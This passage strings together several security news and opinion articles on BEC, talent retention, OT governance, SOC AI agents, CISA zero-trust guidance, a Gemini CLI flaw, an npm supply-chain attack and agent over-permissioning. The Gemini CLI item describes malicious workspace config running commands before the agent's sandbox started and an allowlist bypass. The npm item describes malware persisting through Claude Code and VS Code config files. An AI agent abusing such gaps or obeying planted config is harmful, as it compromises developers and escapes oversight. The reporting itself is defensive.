rather than individual mistakes. Although equally important, leaders should not measure success solely by the number of blocked phishing emails, but by how often verification steps are followed, how many payment requests are challenged and how quickly suspicious transactions are paused and reviewed. In conclusion, security leaders who reduce BEC risk align people, processes and technology so that verification becomes routine, hesitation is acceptable and authority is never assumed without confirmation. In 2026 and beyond, business workflows should continue to be treated as a core part of the security architecture and not a peripheral component. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Declining job satisfaction means that only one in three (34%) cybersecurity professionals plan to stay with their current employer, increasing the pressure on CISOs’ talent retention strategies. And according to a survey of 500 cybersecurity professionals by IANS and Artico Search, while salary remains important it is not the primary driver of retention. Flexible work models correlate strongly with satisfaction and retention, however. Hybrid work arrangements, particularly those that require only one to two days onsite per week, also tend to reduce the desire for talented cybersecurity staffers to jump ship, according to IANS’s Cybersecurity Talent Report. The researchers found that wage growth is more important in minimizing staff turnover than the absolute value of compensation packages. “As pressure on cyber teams skyrockets, CISOs who double down on mentorship, coaching, and career development can create a sense of purpose and progression that helps their employees avoid burnout,” says Nick Kakolowski, senior research director at IANS. Cybersecurity staff who feel their employer views security as a priority (73%) are more likely to stay than those working for enterprises who perceive little or no organizational backing for security, where the desire to stay with their current employer drops to just 19%. “Visibility, career growth, and support from security leadership are necessary to keep high performers,” adds Steve Martano, an IANS faculty member and partner at Artico Search. Cybersecurity training and certification body ISC2 estimates that the global cybersecurity workforce gap peaked at 4.8 million in 2024. Although budget cuts last year have reduced the number of unfilled cybersecurity roles, the employment market remains tight and highly competitive. In CIO.com’s State of the CIO survey, cybersecurity tied AI for the hardest skill to fill despite notably higher demand for AI talent (42% to 38%). Career progression and workplace autonomy Along with flexibility, recruitment experts polled by CSO say that cybersecurity professionals consistently look for opportunities to develop their skills, to have agency over how they work, and to have their expertise taken seriously. “When candidates see a defined career progression, the offer of ongoing certifications and training, direct visibility into strategy, and access to modern security stacks, that’s when your role becomes desirable,” says Archie Payne, president at recruitment agency CalTek Staffing. Employers that fail to offer some form of remote, or at least hybrid work, will miss out on a sizable portion of the talent pool. “We regularly see candidates decline otherwise strong offers because of rigid location requirements,” Payne says. “Again, top candidates know they are in-demand and won’t settle for a role that doesn’t support their work-life balance needs.” Skills development Richard Demeny, founder and CTO at Canary Wharfian, an online finance career platform, says that graduates and early professionals know they are calling the shots because even at the entry level talent is scarce. “[New entrants] are prioritizing opportunity and learnings, as pay is pretty much standard across the board, except for maybe high-finance areas like hedge funds,” Demeny says. “These professionals know that staying at the same employer for long will greatly limit their professional development: Often times, the best way to supercharge their knowledge, skills, and network is to simply change workplaces,” he adds, regarding rising employee turnover rates. David Berwick, director at Adria Solutions, argues that CISOs need to be more consistent in their attempts to retain cybersecurity workers. “Clear progression, realistic workloads, visible support from leadership, and flexibility where it makes sense,” says Berwick. “The organizations that get those fundamentals right tend to attract and retain people far more effectively than those relying on compensation alone.” Avoiding burnout Oliver Legg, co-founder of cybersecurity recruiter Aspiron Search, says that employee burnout is a growing problem for CISOs managing security teams. “What we’re seeing in the market is that retention goes beyond pay and depends heavily on the environment you create, the support you show, and how you evolve alongside an increasingly complex threat landscape,” says Legg. Security teams need to stay up to date with modern tooling to both defend against adversaries and keep teams engaged and effective. “Cyber pros working with outdated tools or purely reactive processes are far more likely to disengage and look elsewhere,” Legg warns. Growth and elevation Offering cybersecurity staff learning opportunities can be a powerful driver of engagement and retention. “Providing opportunities to attend or speak at industry conferences, along with support for new or refreshed certifications, helps teams stay motivated and continue developing,” Legg advises. CalTek Staffing’s Payne notes that cybersecurity professionals are both “highly specialized and in high demand.” This means workers are “constantly being approached by companies eager for their talents and are well aware that their skills are in short supply,” he says. Job candidates increasingly ask sharper questions about what their growth path would look like and whether they’ll have a voice in security strategy rather than focusing on compensation alone, according to Payne. Earning employee engagement Retention has become less about preventing dissatisfaction and more about continuously earning engagement. “One of the biggest drivers of turnover we see is a disconnect between what the candidate was promised during the hiring process and what’s actually supported internally,” Payne says. “Many companies talk about security being ‘mission-critical’ but operate with chronically understaffed security teams, or don’t give the CISO budget authority.” Payne concludes: “Strong candidates can spot this kind of problem very quickly, and they’ll leave just as fast.” View the full article

The first time I approached an OT environment, I assumed that the strategies effective in IT cybersecurity would be equally applicable. I was wrong. The experience revealed a fundamental difference, highlighting the need for a distinct approach to OT cyber risk management. The mistake was not technical. It was conceptual. I was treating OT as another security domain that needed stronger controls, better tooling and greater discipline. But OT lives under different conditions. Systems stay in service for years, sometimes decades. Patching is limited. Change windows are negotiated. Vendor dependencies are part of daily operations. Asset visibility is often incomplete and the highly distributed environments depend heavily on third-party access. In summary, OT cyber risk fundamentally constitutes a challenge of leadership and governance. The primary concern at scale is not isolated technical controls at individual sites, but rather the enterprise’s ability to ensure consistent decision-making across all sites through clearly defined roles and shared accountability. OT changes the nature of cyber risk Boards have improved their cyber oversight of IT, but OT requires a different perspective. Here, cyber risk goes beyond data and compliance into operational processes, industrial assets and critical services. OT architecture begins in the physical world, moves through control systems and operations networks, and increasingly connects to enterprise systems and cloud services. This creates a consequence profile distinct from IT, in which cyber risk directly affects physical operations. OT operating constraints include long asset lifecycles, incomplete asset visibility, embedded third-party access, fragmented ownership across engineering, operations, site leadership, vendors and security. IT cyber assumptions often fail in OT because risk and responsibility structures diverge fundamentally. The governance baseline for OT remains thin, as reflected in recent World Economic Forum research that highlights broader issues of leadership and oversight. Only 16 percent of organizations with industrial environments report OT security issues to their boards and just 20 percent maintain dedicated OT security teams. Furthermore, in only 36 percent of cases is the CISO directly responsible for OT security. These low levels of reporting and responsibility indicate not only a maturity gap in organizational processes but, more critically, a substantial accountability gap that directly reinforces the thesis: OT cyber risk management at scale is fundamentally a challenge of leadership and governance, rather than solely a technical concern. At scale, a local weakness becomes an enterprise coordination issue. Differences in maturity, ownership, vendor dependencies and business priorities create uneven exposure. The board question is not whether OT controls exist, but whether the enterprise can make consistent, defensible decisions about OT cyber risk before and during disruption. At scale, incident outcomes become leadership outcomes Effective OT oversight shifts from control-by-control discussions to scenario and consequence analysis. Common OT exposure paths include remote access abuse, shared accounts, weak segmentation, infected maintenance media, compromised workstations and poorly governed vendor connectivity. In OT, these exposures have direct operational consequences. A SCADA compromise can reduce visibility across power operations. Poor remote access governance can degrade rail operations. Infected media can trigger plant downtime. Unauthorized parameter changes can force emergency shutdowns and manual safety validation. OT risk appetite cannot be reduced to the enterprise itself. OT impact may extend to the economy, environmental, critical services and, sometimes, human safety. As the consequences broaden, oversight standards must rise. A technical control gap is one risk. A governance structure that cannot support safe, coherent decisions under pressure is a different order of magnitude in terms of exposure. In OT, incident outcomes are determined by leadership choices made before disruption begins. Should the organization isolate quickly to stop propagation, or continue operating in a constrained way to protect essential output? Should authority be centralized to improve consistency, or federated to improve speed and local judgment? Should the organization restore quickly, or verify process integrity first and accept a longer recovery path? Should vendor and remote support remain broadly enabled for operational convenience, or be reduced because it has become part of the real perimeter? No single option is always correct. The key is whether leaders understand trade-offs before action is required. Executive decisions such as isolate versus operate, centralize versus federate and restore versus verify change outcomes. These are governance choices, not technical defaults. I have seen both sides of this in practice. In one environment, centralization accelerated capability building. It improved consistency, but it also introduced the risk of slower decisions in a crisis because authority sat too far from the operational edge. In another, responsibility was distributed across business units, which improved local ownership but increased coordination risk under stress. The lesson was never ideological. It was operational. The operating model had to match the risk reality. This is also why the strongest board-level conversations in OT are rarely about tools first. They are about decision rights, escalation logic, crisis thresholds and assurance. The NIST Cybersecurity Framework 2.0 is useful here not because it provides boards with a script, but because it explicitly frames cybersecurity as part of how organizations understand and manage cyber risk. What boards should ask now Boards do not need to become technical experts in OT. They do need to demand decision-grade oversight. First, clarify the operating model. Who owns OT cyber risk across the enterprise? Where does business unit accountability sit? Which decisions are centralized and which are delegated? Who has authority in a crisis when continuity and containment are in tension? If these answers are unclear, residual risk is likely underestimated. To help make this concrete, consider two common operating models. In a centralized model, OT cyber risk governance, tooling decisions and incident response authority reside primarily at the enterprise or group level, typically under the leadership of a central security or risk function. Local sites implement enterprise direction but have limited autonomy to define controls or crisis actions. In contrast, a federated model grants more decision rights to individual business units or operating sites. Here, local leaders often own OT cyber controls, incident triage and vendor management, while the central organization coordinates standards and provides guidance. Each model brings different trade-offs in consistency, speed and local adaptation. Directors should ask management to clarify which approach is in place today and why it fits the organization’s risk profile. Second, identify the two or three OT cyber scenarios that would most impact continuity, key operations and external defensibility. Scenarios should be concrete enough to guide priorities, budget and crisis preparation. Generic statements about protecting critical infrastructure are not enough. Third, require assurance. Boards should ask whether a baseline exists and whether it has been independently tested for effectiveness. Governance and assurance should sit above the technical baseline and operating model. In OT, site assessments, adversarial simulations, tabletop exercises and validation of remote access controls provide more insight than maturity scoring. Fourth, address innovation. AI and cloud are changing operational environments, even when adoption begins at the physical layer. The leadership agenda is moving toward governance, resilience and control of increasingly complex digital dependencies. For OT, boards should treat these shifts as operating model and assurance questions, not just technology questions. This is where the board agenda becomes practical. Directors should ask management to clarify decision rights, define the top OT cyber scenarios, establish an enterprise minimum baseline for priority environments and run independent assurance on the sites or operations that matter most. These are not technical housekeeping tasks. They are the foundations of defensible oversight. This article builds on a recent RSAC session on managing OT risk at scale, but the lesson is broader. OT cyber risk at scale is not simply a controls problem. It is a leadership problem because real outcomes depend on governance, accountability and pre-agreed trade-offs. The organizations that navigate OT disruption better are usually not the ones with the most ambitious slide decks. They are the ones who decided in advance how they will govern, escalate, verify and recover. That is what the shift boards should insist on. In OT, resilience is built by decisions made before the incident alarm sounds. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Artificial intelligence has had an immediate and profound impact on software development. Coding practices, coding tools, developer roles, and the software development process itself are all being reimagined as AI agents advance on every stage of the software development life cycle, from planning and design to testing, deployment, and maintenance. Download the May 2026 issue of the Enterprise Spotlight from the editors of CIO, Computerworld, CSO, InfoWorld, and Network World and learn how to harness the power of AI-enabled development. View the full article

According to IDC, agentic AI is on track to become mainstream infrastructure. The analyst firm expects 45% of organizations to have autonomous agents operating at scale across critical business functions by 2030. In enterprise SOCs, AI is already reshaping functions like alert triage, enrichment, data correlation, IOC validation and initial containment. It could soon move up the stack to take on more complex tasks like incident investigation, root cause analysis, and response. “AI acts as a force multiplier in the SOC,” says Nicole Carignan, senior VP, security and AI strategy at Darktrace. But harnessing that promise will require organizations to invest now in reskilling analysts, redesigning processes, building new technical roles, and establishing guardrails and governance frameworks to ensure autonomous AI agents operate safely. “It’s not enough to simply deploy an AI solution. Security practitioners must understand how the underlying machine learning techniques function, what their strengths and limitations are, and how to evaluate their outputs,” Carignan says. “Without explainability and trust, AI risks are exacerbating alert fatigue rather than solving it.” Here is what security leaders need to know — and do — to prepare their SOCs for the agentic AI era. Reskill analysts to become AI collaborators and overseers Increasingly, human roles in the SOC will shift from hands-on execution to supervision, governance, design, and oversight. As AI agents take on more operational tasks, analysts will need to focus on managing AI systems, interpreting outputs, and resolving the nuanced challenges machines cannot handle, says Casey Ellis, founder of Bugcrowd. “Jobs won’t disappear, they’ll adapt. The key is ensuring that SOC professionals are prepared for this shift through ongoing education, training, and tooling.” Few expect the transition will occur organically or without friction. Many SOC leaders will need to reskill existing staff to manage AI effectively; to interrogate AI reasoning; enrich investigations with contextual insight; and apply informed human analysis to AI-driven outputs. When acting on an AI tool’s recommendation, analysts must understand what questions the agent asked, which data sources it queried, and what evidence informed its decision, according to Dov Yoran, co-founder and CEO of Command Zero. From there, they need to be able to pivot to additional data sources, pursue new artifacts, and extend the investigative timeline as needed. “Junior analysts who might not know how to start an investigation from scratch can become effective by learning how to extend and refine what the agent produced,” Yoran says. “It’s a different skill set from traditional SOC work, and in many ways, a more accessible one.” In the SOC of the future, analysts must also act as adversarial reviewers of AI-driven conclusions. That’s because AI systems can introduce hallucinations, training-data bias, and other vulnerabilities while also being vulnerable to adversarial manipulation. Analysts need to recognize these risks to ensure decisions remain grounded and defensible, says Ensar Seker, CISO at SOCRadar. “Analysts need to be trained less as button-pushers and more as adversarial reviewers of AI output. That means understanding how models reason, where they fail, how bias and data gaps surface, and how to interrogate confidence levels and assumptions. The goal isn’t to ‘trust AI faster,’ but to develop the instinct to ask: What would make this conclusion wrong?” Seker says. Analysts will also play a critical role in enabling organization-specific context into AI-driven workflows. Without that context, agents risk missing threats, amplifying noise, or triggering risky actions based on incomplete information. SOC leaders need to remember that “AI agents are only as smart as the context they have access to,” Yoran says. Analysts must learn to annotate identities, maintain watch lists, document recurring false-positive patterns, and build enrichment layers that strengthen future investigations, he said, “This is knowledge work, not data work.” Ultimately, the objective is not to outperform AI, but to do better where AI falls short. For example, “accept that autonomous alert triage will become table stakes,” Yoran says. “Your processes need to shift from ‘how do we triage every alert’ to ‘how do we handle escalations from autonomous investigations’.” Build capabilities for AI governance, content and quality Upskilling existing analysts alone is not enough. As AI agents begin operating across tools, making decisions and triggering actions with minimal human involvement, the demands on the SOC will extend well beyond traditional analyst capabilities, experts say. Content engineering, for instance, is one emerging requirement. In an AI-enabled SOC, detection engineers will no longer write only static rules. They must design dynamic content such as questions, prompts and investigation templates that agents can use to reason, enrich data, correlate signals and act autonomously. These content engineers curate the structured inputs that power agents, including telemetry, threat models, and playbooks. “This is the most underappreciated role in AI-powered security operations,” Yoran notes. “These are people who build and maintain the questions that agents can ask, the investigation plans that guide autonomous work, and the knowledge bases that provide context,”. Organizations need someone who can translate detection logic from their SIEM, import best practices from frameworks like MITRE ATT&CK, and encode institutional knowledge into the platform. “This isn’t traditional security engineering, it’s closer to knowledge management combined with threat intelligence,” he says. Mature SOCs will also require clear ownership of AI governance and agent oversight. That includes roles that have oversight over model risk evaluation, prompt and policy management, continuous performance validation, and even red teaming the agents themselves, Seker says. “You don’t need a massive new team, but you do need clear accountability for how autonomous decisions are made, tested, and constrained.” Another emerging need is analysts with deep fluency in data management. An AI-driven SOC will require professionals who understand how information should be classified, protected, normalized, and monitored to ensure reliable conclusions. “With 64% of organizations planning to add AI-powered solutions to their security stack in the next year, it is critical for professionals to cross-skill in AI,” Carignan says. “Cybersecurity professionals must become fluent in AI and data, developing a deeper understanding of data classification, governance, and model behavior.” Cross-skills in data science, machine learning, and cybersecurity enable analysts to critically evaluate AI outputs, tune models for security use cases, and adapt defenses as threats evolve, making them indispensable in an AI-augmented SOC. Frank Dickson, an analyst at IDC, urged organizations to think of this capability as similar to a data architect role. “The key to getting value from AI is having data located in a place where you can get to it, having it formatted in a homogeneous way so you can do analysis on it, and then manage the data,” he says. “The success of your AI initiative is going to be tied to the effectiveness of your ability to get data. A data architect manages that.” Dickson also emphasized the need for an “orchestration platform engineer” role responsible for ensuring effective communication and workflow integration across security tools. The SOC of the future will not hinge on a single platform but on an interconnected ecosystem of SIEM, EDR, SOAR, identity, cloud and other systems that must operate in concert to support AI-driven, agentic investigations and automation, Dickson tells. Dedicated orchestration expertise will become essential to maintain reliable data flows and automation logic in such an environment, he noted. Redesign SOC processes and playbooks where needed Organizations will need to review and rework SOC processes and playbooks to ensure their AI-augmented SOC is consistent, efficient and continuously learning. Yoran recommends that SOC leaders focus on codifying institutional knowledge into AI agent-accessible questions and plans. Translate playbooks into investigation plans that AI agents can follow on a repeatable basis. In situations where an agent might hit a wall, have processes in place for a smooth handoff to a human analyst and build feedback loops for continuous improvement, Yoran adds. “Playbooks must shift from step-by-step human procedures to intent-based guardrails,” Seker points out. “Instead of telling analysts how to investigate, define what outcomes are allowed, what actions are prohibited, and when human approval is mandatory.”. The objective is not to micromanage every alert but to assume AI agents operate continuously across tools, with humans only supervising exceptions, edge cases, and strategic decisions. SOCs also need to rethink metrics, accountability, and documentation within the SOC. Traditional performance indicators, such as ticket closure rates or mean time to resolution, may need to broaden to include model accuracy, escalation quality, and the effectiveness of automated containment actions. “The biggest mistake is optimizing for speed metrics instead of investigation quality,” Yoran says. “I see this constantly: vendors promising 90% faster time to resolution or reduce tier-one workload by 80% or close alerts in seconds instead of hours. These metrics while seductive are dangerous,” he cautions. “Making the same mistake faster benefits no one. An incomplete investigation that closes in two minutes isn’t better than a thorough investigation that takes 30 minutes.” Auditability too becomes critical. All AI-driven decisions should be traceable, explainable, and reviewable from both an internal governance standpoint and for external compliance requirements. “If you can’t explain why an AI took an action to an auditor, regulator, or executive, it shouldn’t be allowed to take that action. Explainability isn’t a nice-to-have; it’s a prerequisite for autonomy,” Seker says. Implement AI guardrails and principles Formal guardrails and operating principles are going to be critical in SOCs where AI agents influence decisions, initiate responses and help prioritize threats. That means setting defined boundaries around data access and model behavior, having processes to validate responses and making sure humans remain in the loop on all high-impact decisions. Focus areas should include approval thresholds for autonomous actions, figuring out allowed and disallowed actions for an agent, protecting against prompt injection attacks, testing and red-teaming of agentic workflows and ensuring IR policies are updated for AI-driven actions. “Require transparent decision trails, rate limiting, least-privilege, and instant override,” Seker advises. “Hard limits on action scope, blast radius, and privilege are non-negotiable. Agents should operate under least-privilege identities, with explicit kill-switches, change-control boundaries, and environment awareness. The key is to ensure that AI is never allowed to silently escalate its own authority or modify guardrails without human approval.” IDC analyst Dickson pointed to identity and access as two other areas to focus on by way of guardrails and policies. “In the past, when we gave humans access, we often over-provisioned by default. That approach does not work with agents. With agentic AI, permissions must start at least privilege, defined precisely from day one.” The focus should be on ensuring no standing privileges, implementing dynamic authorization and establishing clear role definitions, Dickson says. “Agentic AI is enormously powerful. Constraining access correctly is non-negotiable.” There’s no playbook for leading through today’s cyber risk — only experience. The CSO Cybersecurity Awards & Conference, May 11-13, brings together CISOs and senior security executives for peer‑driven insight, unfiltered conversations, and practical strategies that drive real business impact. Secure your seat before it fills up. View the full article

The US Cybersecurity and Infrastructure Security Agency (CISA) has asked owners and operators of operational technology to stop assuming their networks are safe, and has released joint guidance to adapt zero trust principles for industrial systems that support US power, water, transportation, building automation, and weapons-support infrastructure. OT owners should design controls on the assumption that adversaries are already inside the network, and validate every access request based on identity, context, and risk rather than network location, CISA and four partner agencies wrote in a 28-page document titled Adapting Zero Trust Principles to Operational Technology. The guide was developed with the Department of War, the Department of Energy, the FBI, and the Department of State, with technical contributions from the National Institute of Standards and Technology. The agencies were direct about the threat driving the publication. “CISA has observed threat actors like Volt Typhoon targeting OT systems to compromise, escalate, and maintain access within operational environments,” CISA Acting Executive Assistant Director for Cybersecurity Chris Butera said in a statement accompanying the release. “Zero Trust architecture is critical to preventing cyber incidents that could cause operators to lose visibility or control of essential systems.” CISA, the FBI, and the National Security Agency first warned in February 2024 that the Chinese state-sponsored group was prepositioning on US IT networks to enable lateral movement to OT assets in the event of geopolitical conflict. The group has since resurfaced with renewed botnet activity exploiting end-of-life routers and exploited a Versa Director zero-day to harvest credentials from US ISPs. Pete Luban, field CISO at cybersecurity firm AttackIQ, said the convergence of IT and OT was the structural reason the guidance was needed. “Systems that were once isolated are now increasingly connected to enterprise networks and third-party services, and attackers are taking full advantage,” Luban said. “Adversaries aren’t just looking for data to steal, but for the weak seams between business and operational systems that can be used to move laterally across networks.” In OT, a successful intrusion can escalate quickly from a cybersecurity issue to an operational, safety, and public trust issue, he added. A reference architecture built for the plant floor It is precisely those weak seams that the new guide tries to close. The document is structured around the six functions of NIST Cybersecurity Framework 2.0 — Govern, Identify, Protect, Detect, Respond, and Recover — and aligns with CISA’s Cross-Sector Cybersecurity Performance Goals 2.0, the DoD Zero Trust Reference Architecture v2.0, NIST SP 800-82r3, and the international ISA/IEC 62443 series. But the agencies wrote that none of those frameworks could be applied to OT unmodified. “The blanket application of traditional information technology (IT)-focused ZT capabilities to OT is neither reasonable nor feasible,” the document stated, calling instead for continuous collaboration between OT engineers, IT architects, and cybersecurity professionals. The guidance directs operators to segment Active Directory used in OT into a “separate forest or domain, avoid direct trust relationships between IT and OT identity systems, and enforce multi-factor authentication at the jump host level” where the underlying device cannot support it. Privileged sessions should be vaulted, recorded, and time-bound, with just-in-time access used to restrict remote vendor connections to narrowly defined maintenance windows, the document advised. On encryption, the document distinguished confidentiality and integrity. Integrity and authentication through digital signing are typically more critical than confidentiality in OT, the agencies wrote, because expired certificates will not halt operations if communications remain in the clear. At the same time, encryption can introduce latency that disrupts safety-critical systems. That kind of nuance is precisely why the model cannot be transplanted wholesale, said Nick Tausek, lead security automation architect at Swimlane. “OT teams cannot simply lift and shift an IT security model into environments where downtime, latency, and safety risks carry real-world consequences,” Tausek said. “Zero trust has to be implemented with precision, operational awareness, and automation that can enforce policy without creating more friction for the people keeping critical systems running.” What it means for security teams The publication closes a gap that CISA’s Zero Trust Maturity Model 2.0 acknowledged, having stated it did not address challenges specific to operational technology. It follows February’s Barriers to Secure OT Communications and earlier CISA warnings that exposed VPNs, firewalls, and legacy edge devices remain the dominant entry points for critical infrastructure attacks. The document told buyers that strategic procurement is how operators escape the legacy trap, and pointed them to the Secure by Demand guide for contracting criteria and to its open-source SIEM tool, Malcolm, for OT protocol parsing. Luban said the harder problem is verifying that any of these controls hold. Organizations need to test boundaries against real-world adversary tactics, he said, to identify “where trust is being assumed, where access is too broad, and where attackers may still be able to cross from enterprise environments into operational systems before those gaps are exposed in a real incident.” The tooling adopted to run those tests carries its own risk. Tausek said AI-driven security agents now sitting alongside OT environments have become high-value targets in their own right. “If an attacker can tamper with an agent, disable it, or use it as a trusted pathway, the tool meant to improve detection can become part of the problem,” he said. View the full article

Security researchers are warning about a max severity vulnerability in Google Gemini CLI that could allow remote code execution (RCE) in environments where the tool processes untrusted inputs. The issue was disclosed by Novee Security researchers and affects the @google/gemini-cli package and its associated GitHub Action, widely used in CI/CD workflows. “Gemini CLI (@google/gemini-cli) and the run-gemini-cli GitHub Action are being updated to harden workspace trust and tool allowlisting, in particular when used in untrusted environments like GitHub Actions,” reads a GitHub advisory issued on the flaw. Google acknowledged the flaw and thanked security researchers Elad Meged from Novee Security and Dan Lisichkin from Pillar Security for reporting the issue through its Vulnerability Rewards Program. The issue was fixed in @google/gemini-cli versions 0.39.1 and 0.40.0-preview.3. A run-gemini-cli fix was also released in version 0.1.22. Overtrusting workspace configurations The problem lay in how the CLI handled workspace trust and command execution in automated, non-interactive environments.“In affected versions, Gemini CLI running in CI environments automatically trusted workspace folders for the purpose of loading configurations and environment variables,” the advisory said. This could have been easily exploited by attackers by injecting their own malicious configurations into the trusted workspace. “The vulnerability allowed an unprivileged external attacker to force their own malicious content to load as Gemini configuration,” Novee researcher, Elad Meged, said in a blog post. “This triggered command execution directly on the host system, bypassing security before the agent’s sandbox even initialized.” The impact of the flaw was limited to workflows using Gemini CLI in headless mode, without an interactive interface. While a CVE ID has not been assigned to the flaw yet, Meged said Google assessed a severity rating of 10.0, the maximum on the CVSS scale. The maximum severity rating likely comes from the exploit requiring low complexity, minimal privileges, and little to no user interaction. Google did not immediately respond to CSO’s request for comments. The flaw was, however, categorized under CWE-20, CWE-77, CWE-78, and CWE-200, which roughly refer to improper input validation, command injection, and information disclosure weaknesses. The behavior is now fixed Google has addressed the issue by removing implicit workspace trust in headless environments and enforcing stricter tool controls, effectively changing how Gemini CLI behaves in CI/CD pipelines. The patched versions (0.39.1 and 0.40.0-preview.3) now require explicit trust decisions before loading workspace configurations, aligning non-interactive execution with the same safeguards expected in interactive use. Additionally, the fix closed a critical gap in “–yolo” mode by ensuring that tool allowlisting is actually enforced, preventing loosely scoped permissions from turning into unrestricted command execution. Previously, allowlisting could be bypassed, letting CLI run commands outside the intended restrictions. Google has also brought in a broader ecosystem change. The run-gemini-cli GitHub Action (patched in v0.1.22) now automatically pulls and executes the latest version of the CLI. Workflows that pin a specific gemni-cli-version are advised to upgrade to a patched release and review their existing Gemini CLI configurations to ensure they don’t rely on unsafe defaults. View the full article

A supply chain attack on SAP-related npm packages has put fresh scrutiny on the developer tools and build workflows that enterprises rely on to produce software. The campaign, referred to as “mini Shai-Hulud,” affected packages used in SAP’s JavaScript and cloud application development ecosystem. The malicious versions added installation-time code that could steal developer credentials, GitHub and npm tokens, GitHub Actions secrets, and cloud credentials from AWS, Azure, GCP, and Kubernetes environments. Researchers at SafeDep, Aikido Security, Wiz, and several other security firms said the affected packages included [email protected], @cap-js/[email protected], @cap-js/[email protected], and @cap-js/[email protected]. The suspicious versions were published on April 29 and were later replaced by safe releases. The malware encrypted stolen data and sent it to public GitHub repositories created from victims’ own accounts, according to the researchers. It also used stolen GitHub and npm tokens to add malicious GitHub Actions workflows to accessible repositories and publish poisoned package versions. SafeDep said the attackers abused a configuration gap in npm’s OIDC trusted publishing setup for the affected @cap-js packages. The compromise of mbt, meanwhile, is suspected to involve a static npm token. The attackers also attempted to persist through Visual Studio Code and Claude Code configuration files. The technique puts developer workstations and AI-assisted coding tools closer to the center of supply chain security concerns. Implications for CISOs For CISOs, the case shows how quickly a tainted dependency can move beyond the build process. It also adds to concerns that developer environments, though central to enterprise software delivery, are still not governed with the same rigor as production systems. “The fact that the malware was designed to harvest GitHub and npm tokens, GitHub Actions secrets, and cloud credentials from AWS, Azure, GCP, and Kubernetes in a single pass tells you that attackers now treat the developer workstation as a master key,” said Sakshi Grover, senior research manager for IDC Asia Pacific Cybersecurity Services. A single compromised developer identity in a CI/CD pipeline can give attackers a route into the wider software supply chain, allowing them to push malicious code into packages that downstream developers may install with little visibility into tampering. That lack of visibility remains a concern, Grover said, citing IDC’s Asia Pacific Security Survey 2025, which found that 46% of enterprises plan to deploy AI for third-party and supply chain risk analysis over the next 12 to 24 months. For now, she said, many organizations are still in the planning stage and have yet to operationalize AI-driven defenses against attacks such as the mini Shai-Hulud campaign. Sunil Varkey, a cybersecurity analyst, described the campaign as a case of “living off the developer,” where attackers target developers, their tools, and automation rather than only the software package itself. Varkey said the attackers went beyond poisoning npm packages by compromising maintainer GitHub accounts, abusing loosely configured npm OIDC Trusted Publishing, and using preinstall hooks to publish credential-stealing malware. The more troubling element, he said, was the use of Visual Studio Code and Claude Code configuration files, specifically .vscode/tasks.json and .claude/settings.json, for persistence and propagation. That allowed the malware to execute when an infected repository was opened in Visual Studio Code, or when a Claude Code session started, he said. “The attacker is turning the modern developer experience itself into an attack vector,” Varkey said. View the full article

In their infancy, LLM models were not difficult to contain. You gave a prompt; they responded, and if something was wrong it was usually “just text.” This could take the form of a summary that missed the best bits, a tone-deaf line or a wordy sentence. But then, agents were co-opted as the core reasoning layer inside AI agents, and the game changed overnight. Agents connect databases and business applications, interact with external systems and execute multi-step tasks. So, the question isn’t only, “How capable is the model?” The more important question I believe is, “How are AI agents being treated and permissioned inside your environment?” The failures that sting aren’t limited to moments when an agent spouts inaccuracies or conjures hallucinations; they also occur when the agent takes actions it shouldn’t, simply because it has the capability, the permissions and the autonomy to do so. The shift from answering to execution I’m seeing interoperability accelerate agent adoption. Standards like the Model Context Protocol (MCP) are making it easier for models to connect with tools and data sources, while agent-to-agent approaches allow agents to exchange context, goals and actions across workflows. More connections mean more reach, and more reach means more room for things to go wrong. With AI spending forecasted to hit$2.5 trillion in 2026, and with40% of enterprise apps expected to embed task-specific AI agents by the end of 2026, the real question is no longer about adoption, it’s about visibility and control. With numbers like these, it is clear that AI integration is scaling quickly, but there is a security gap. While AI security checks are catching up quickly, rising from 37% in 2025 to64% in 2026, that still leaves over a third without a formal assessment. This is why the right permissioning often lags behind. As I have observed, when agents operate across multiple tools and systems, organizations are no longer managing just “AI output quality.” They’re managing action pathways, often in environments where it’s difficult to pinpoint where a request went wrong, where an input was manipulated, or which step triggered the final action. Permissioning, in this context, becomes the difference between useful automation and unauthorized behavior at scale. Excessive agency directly proportional to over-permissioning Organizations are worried about the level of autonomy AI introduces into their operational framework. Nearly three-quarters of organizations say agents often receive more access than necessary. It’s this excessive agency that needs to be reined in. In practice, unchecked autonomy within a particular workflow means the agent can access systems it doesn’t need, execute actions outside its predetermined role and interact with external systems beyond predefined parameters. This means organizations are not just looking at a ‘wrong answer’ as the biggest risk, but ‘unauthorized action.’ This action may involve unintended data exposure, unauthorized commands or integrity-impacting changes that are difficult to unwind. Over-permissioning is a sneaky beast. I’ve seen it slowly creep into agentic AI workflows, usually driven by three common factors: The people in charge, in their ‘wisdom,’ enable a broad range of tools/APIs to make the agent even more useful. There might be some integration problems, and elevated access is given to make integration work smoothly, which means extra permissions that exceed the safe-use threshold. Agents can decide with fewer human checkpoints, especially for actions that have a tangible impact. This can stem from a blind trust in AI and a focus on being an execution-first business. 3 systemic risks in agentic AI workflows Less than half of businesses have adopted formal risk management frameworks for AI, and I believe that’s where the real challenge with agentic AI begins. It’s not about what it can do, but that its actions become harder to observe and govern once it operates across connected systems. First, many models are effectively black boxes. Opaque internal workings make it harder to verify outputs, explain decisions or confidently audit what happened after the fact. Second, capability invites overreliance. In conversations I’ve had with CISOs, a consistent theme emerges. As agents appear to “handle it,” humans step back and critical reviews thin out. The result is mistakes and biases persisting longer because fewer people are watching closely, especially dangerous in high-stakes environments. Thirdly, attackers don’t need to compromise the model itself if they can compromise what the agent reads or the services feeding it. Connected workflows create supply-chain-style attack modes, where upstream manipulation becomes the lever. The road toward re-permissioning: Controlling agency Re-permissioning is not about limiting the autonomy of AI agents, but more about controlling them appropriately. AI agents execute, and we need them to execute well, but we must implement a continuous permission audit to identify agents slowly climbing the ‘agency’ ladder. Organizations must have complete visibility so they can evaluate agentic AI interactions, flag irregular behaviors, verify if permissions conform to policy and use tabletop real-world exercises like prompt-injection tests to guard against vulnerabilities. Also, subscribe to a human-in-the-loop workflow in which human oversight is mandatory when sensitive data, financial decisions, access changes or major operational updates are involved. It’s also necessary to avoid giving agents tools ‘just in case they need them.’ Instead, implement least-privilege context sharing, limiting the agent’s view and tool access to only what the task truly requires. Finally, let me emphasize that you shouldn’t forget the agent AI supply chain that includes integration, libraries, APIs and third parties. These need to be vetted, patched and secured with tight network controls to build a trusted ecosystem and reduce the risk of upstream manipulation. If AI agents are treated like harmless helpers, they’ll be permissioned like harmless helpers, and excessive agency becomes normalized. We must pump the brakes on the inevitability of unchecked autonomy. Take control of broader functionality and permissions; focus on 